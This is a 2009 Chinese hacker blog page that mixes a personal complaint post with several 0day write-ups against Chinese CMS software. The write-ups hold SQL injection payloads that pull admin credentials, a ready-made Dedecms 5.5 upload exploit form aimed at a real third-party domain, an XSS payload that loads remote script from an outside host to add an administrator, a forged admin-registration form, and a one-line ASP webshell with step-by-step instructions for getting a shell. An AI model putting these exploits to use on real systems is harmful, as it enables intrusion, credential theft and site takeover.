RSS

最近好背

0 Comments | This entry was posted on Oct 25 2009

唉,最近好背来着,这个10月过的真不好。。。
老妈眼出现了问题,眼底动脉硬化,还有一些小问题,不过这个最麻烦。。。
自己最近严重上火。身上乱起小疙瘩,吃的药,抹的药用了不少,效果不好,抓的出了不少血。。。
前两天用CHROME看网页,直接中毒,感染全盘EXE,清空重做。。。
谈的几个网站后台开发的活发生了小变故,要压后。。。
最近结婚的好多,而且都离我超远,累死了,上网时间变少,老妈说要我今年结婚,没钱啊。。。
超多的郁闷事情没法一个一个说了,总之超烦啊,明天带老妈去检查身体,希望没有别的问题,早日康复,哪位老板给俺找点事做,赚钱结婚。。。

睛天电影系统 0DAY

1 Comment | This entry was posted on Oct 25 2009

作者:st0p & My5t3ry
转载请注明出处http://www.st0p.org

唉,和My5t3ry搞出的洞,联系了官方管理员,一直没人理我。

首先说注入问题

漏洞文件为/p_inc/hits_order.asp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!--#include file="../p_inc/config.asp"-->
<!--#include file="../p_inc/function.asp"-->
<!--#include file="../p_inc/function_func.asp"-->
<!--#include file="../p_inc/openconn.asp"-->
<!--#include file="../p_inc/G_function.asp"-->
<%
IF Not ChkPost() Then
	response.Redirect G_error_page_1
	response.End()
End IF
'这里调用了/p_inc/function.asp文件中ChkPost()函数检测来源网址
Function G_hitss(url,numb)
	Dim str
	str=""
	sql="select top "&numb&" id,m_name,m_pic,m_hits,m_content from qingtiandy_movie where m_look=1   order by  m_hits desc,id desc"
            '看到了没numb没有过滤
	Set rs=server.CreateObject(G_RS)
	rs.open sql,conn,1,1
	i=1
	Do While Not rs.Eof 
		d_url=url_(Array("d",rs(0),url))
		str=str&"<div class=kkk1_list><a class=bbb href="&d_url&" title='主演:"&rs(2)&"'>"&Get_length(rs(1),"",32)&"</a> ("&rs(3)&")</div>"
		i=i+1
		rs.movenext
	Loop
	G_hitss=str
End Function
%>
document.write("<%=G_hitss(request("url"),request("numb"))%>")
'这里的numb也没有过滤

利用方法如
1、可以直接用软件伪造Referer后,访问如下地址实现
2、通过XMLHTTP实现伪造Referer,访问如下地址实现
3、通过JS实现在来源网址用JAVASCRIPT来控制

1
javascript:document.write("<a href='/p_inc/hits_order.asp?numb=1 (select str_username from tbl_admin) as username,(select str_pass from tbl_admin) as pass,'>科幻片</a> ");

http://www.st0p.org/p_inc/hits_order.asp?numb=1 (select str_username from tbl_admin) as username,(select str_pass from tbl_admin) as pass,

注:只要跳过去Referer的检测,就可以通过POST,GET,COOKIE的各种方式来实现注入了。。。

访问以下内容后,管理员用户名在网址的链接中,密码HASH直接显示出来了。。

破解密码HASH,因为后台可以直接编辑ASP文件,进入后台拿SHELL就行了。

这程序还有别的漏洞。这里就不发了。。

Dedecms select_soft_post.php页面变量未初始漏洞

144 Comments | This entry was posted on Oct 25 2009

文/ Flyh4t影响版本:Dedecms 5.5漏洞产生文件位于include\dialog\select_soft_post.php,其变量$cfg_basedir没有正确初始化,导致可以饶过身份认证和系统变量初始化文件,导致可以上传任意文件到指定目录。其漏洞利用前提是register_globals=on,可以通过自定义表单为相关的变量赋值。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<html>
<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
<body style="FONT-SIZE: 9pt">---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />Fun the game,get a webshell at /data/cache/fly.php...<br />
</body>
</html>

请自行修改form表单对应的网站域名。

xss的高级利用

3 Comments | This entry was posted on Oct 14 2009

作者:cnryan
来源:http://hi.baidu.com/cnryan

以往对XSS的利用大多数都是针对于挂马,钓鱼,盗cookie等,这些方式并没有真正发挥到XSS的作用,因为很少人能了解XSS的实质,会话劫持,浏览器劫持,XSS能做到的东西远远超乎我们的想象。

一 XSS下提升权限
随着AJAX技术在许多大型SNS网站的应用,XSS也变得愈加流行,在XSS场景下运用AJAX能更有效地发挥它的作用。
用户输入的地方最容易滋生XSS,譬如留言、评论等表单,我搭建了一个sdbook的留言本,因为sdbook没有对用户输入的变量作出合适的过滤,导致一个XSS的产生。
留言率先传递给管理员,当作javascript劫持,我们就可以利用管理员的权限做任何事情,例如添加一个管理员。

xss-advanced-use-of1

在留言内容输入跨站代码:

1
<script>s=document.createElement("script");s.src="http://www.xss.com/xss.js";document.getElementsByTagName("head")[0].appendChild(s);</script>

这段代码用来加载远程的JS,而xss.js的内容是利用xmlHttp对象发送一个异步请求,通过XMLHTTP无刷新提交到服务器端,模拟添加一个管理员。
Read more »

DEDECMS 5.1 feedback_js.php 0DAY

9 Comments | This entry was posted on Oct 11 2009

作者:st0p Rainy'Fox
转载请注明出处:http://www.st0p.org http://bbs.erpangzi.com/

这个漏洞是我和Rainy'Fox一起发现的
同样是在magic_quotes_gpc=off的情况下可用

漏洞版本:DEDECMS 5.1
此漏洞可拿到后台管理员的帐号和加密HASH,漏洞存在文件plus/feedback_js.php,未过滤参数为$arcurl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
......
$urlindex = 0;
if(empty($arcID))
{
	$row = $dlist->dsql->GetOne("Select id From `#@__cache_feedbackurl` where url='$arcurl' ");
       //此处$arcurl没有过滤
	if(is_array($row)) $urlindex = $row['id'];
      //存在结果则把$urlindex赋值为查询到的$row['id'],我们可以构造SQL语句带入下面的操作中了
}
if(empty($arcID) && empty($urlindex)) exit();
//如果$arcID为空或$urlindex为空则退出
......
if(empty($arcID)) $wq = " urlindex = '$urlindex' ";
//我们让$arcID为空,刚才上面执行的结果就会被赋值给$wq带入下面的操作中执行了.
else $wq = " aid='$arcID' ";
 $querystring = "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc";
$dlist->Init();
$dlist->SetSource($querystring);
......

看一下利用方法吧,嘿,为了闭合我用了两次union Read more »

bluecms 0day

1 Comment | This entry was posted on Oct 07 2009

作者:st0p
转载请注明出处:http://www.st0p.org

注:不好意思了,作者早上才发的版本,晚上就叫偶给报了个0DAY,通知了下作者,刚去官方看了一下,已发布了安全补丁,很快啊..大家可以去网上下没更新版本进行测试...

唉,群里一个朋友发了一个CMS,说用户资料修改部分可能存在注入,说一起分析,本地安装好后发现,没法利用,在magic_quotes_gpc=off的情况下,单引号被转义了。。。

看到include/common.inc.php中的这行,放弃。。

1
2
3
4
5
6
7
8
9
......
 if(!get_magic_quotes_gpc())
 {
 	$_POST = deep_addslashes($_POST);
 	$_GET = deep_addslashes($_GET);
 	$_COOKIES = deep_addslashes($_COOKIES);
 	$_REQUEST = deep_addslashes($_REQUEST);
 }
......

也许是st0p的运气好,看到有上传图片的部分,分析了一下代码,在user.php中发现利用的东西。。 Read more »

尘缘雅境图文系统拿SHELL思路

2 Comments | This entry was posted on Oct 07 2009

作者:st0p
转载请注明出处:http://www.st0p.org

其实尘缘雅境图文系统和我上次发的沸腾新闻系统是同一群人开发的,所以漏洞基本相同。。。

如何得到用户名和密码?
1、默认数据库路径没改,直接下载,得到用户名和密码,机会很小。
2、通过注入得到用户名和密码hash,破解hash还原密码,如果实在无法还原的情况下,你可以参考我的上篇文章(沸腾新闻系统 v0.45 拿 SHELL:http://www.st0p.org/blog/archives/boiling-news-system-v0-45-take-shell.html)的方法进行COOKIE欺骗。
3、直接注册用户为管理员,如果开放了注册的话,把下面代码保存为admin.htm,然后把action中的网址改成你对应的目标站就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title></title>
<meta name="author" content="st0p,st0p.org">
</head>
 
<body topmargin="0">
<form align="center" method="post" name="FrmAddLink" action="http://www.st0p.org/admin/saveuser.asp">
      <div align="center">
            <input name="username" value="st0p" type="hidden">
            <input name="passwd" value="st0p.org" type="hidden">
            <input name="passwd2" value="st0p.org" type="hidden">
            <input name="question" value="st0p.org" type="hidden">           
            <input name="answer" value="st0p.org" type="hidden">
	    <input name="fullname" value="st0p.org" type="hidden">
	    <input name="depid" value="1" type="hidden">
            <input name="sex" value="先生" type="hidden">
            <input name="birthyear" value="1950" type="hidden">
            <input name="birthmonth" value="1" type="hidden">
            <input name="birthday" value="1" type="hidden">
            <input name="tel" value="1234567" type="hidden">
            <input name="email" value="webmaster@google.com" type="hidden">
            <input name="photo" value="" type="hidden">
            <input name="purview" type="hidden" value="99999">
            <input name="oskey" type="hidden" value="super">
            <input name="reglevel" type="hidden" value="1">
            <input name="jingyong" type="hidden" value="0">
            <input type="submit" value="添加管理员" name="cmdOk" class="buttonface" style="font-family: 宋体; font-size: 9pt;">
            </p>
      </div>
    </form>
</body>
</html>

添加成功后,我们直接用帐号:st0p 密码:st0p.org登陆后台就可以了。

当然不只以上的方法拿到管理员的信息,由于我们讨论的是拿SHELL的思路,所以如何得到管理员信息这里我们不多做研究。

如何拿到SHELL?
1、通过远程保存文件,当然这种情况适用于利用iis6,是利用iis6的一个BUG来实现的,具体你可以参考我的上篇文章(沸腾新闻系统 v0.45 拿 SHELL:http://www.st0p.org/blog/archives/boiling-news-system-v0-45-take-shell.html)中的方法拿SHELL
2、登陆后台发一篇文章,标题我们使用

1
<%execute request("st0p")%>

内容随意写,发表成功后,我们访问http://www.st0p.org/admin/createasp.asp,会提示首页调用ASP已经更新!这样我们就得到了了一句话的马了。。
地址为:http://www.st0p.org/lastnewsxp.asp,密码为st0p
3、还有一种是通过进入后台,在系统管理-->网站属性-->上传类型中添加脚本的类型的方法,本来我们应该可以添加如asp,php,aspx,cer,asa等等类型的,然后发表文章的时候直接上传脚本来实现的。不过程序中由于以下代码过滤了asp,aspx,asa,所以只有当支持CER,PHP或别的脚本类型时可以上传成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
        fileExt=lcase(file.FileExt)
		Forumupload=split(UpFileType,"|")
		for i=0 to ubound(Forumupload)
			if fileEXT=trim(Forumupload(i)) then
				EnableUpload=true
				exit for
			end if
		next
		if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
			EnableUpload=false
		end if
		if EnableUpload=false then
			msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileType
			founderr=true
		end if

4、利用后台头像上传漏洞,通过NC截取来实现上传SHELL的目的。由于uploadfaceok.asp文件中可以自定义上传路径filepath参数,我们可以通过抓包修改filepath参数,实现截断文件名拿到SHELL,具体利用方法就不在这里发了,大家可以BAIDU一下关于NC上传的知识。重要部分的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
......
 formPath=upload.form("filepath")
 if right(formPath,1)<>"/" then formPath=formPath&"/" 
......
 fileExt=lcase(getFileExtName(file.fileName))
 
 if fileext<>"jpg" and fileext<>"png" and fileext<>"gif" and fileext<>"bmp" then
 	response.write "<span style=""font-family: 宋体; font-size: 9pt"">该文件格式不允许上传 [ <a href=# onclick=history.go(-1)>重新上传</a> ]</span>"
'检测了上传文件名的后缀,但没有检测上传路径是否非法
	response.end
 end if
 
randomize
rannum=int(90000*rnd)+10000
filename=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&rannum&"."&fileExt
 if file.FileSize>0 then         ''如果 FileSize > 0 说明有文件数据
  file.SaveAs Server.mappath(formPath &filename)   '没有过滤就直接带入了formPath
response.write "<script>parent.document.FrmAddLink.photo.value='uploadfile/face/"&FileName&"'</script>"
 end if
......

先总结到这吧,当然应该还有一些别的地方可以利用。但st0p没时间写了,还有事要做。。有空在接着添加吧。。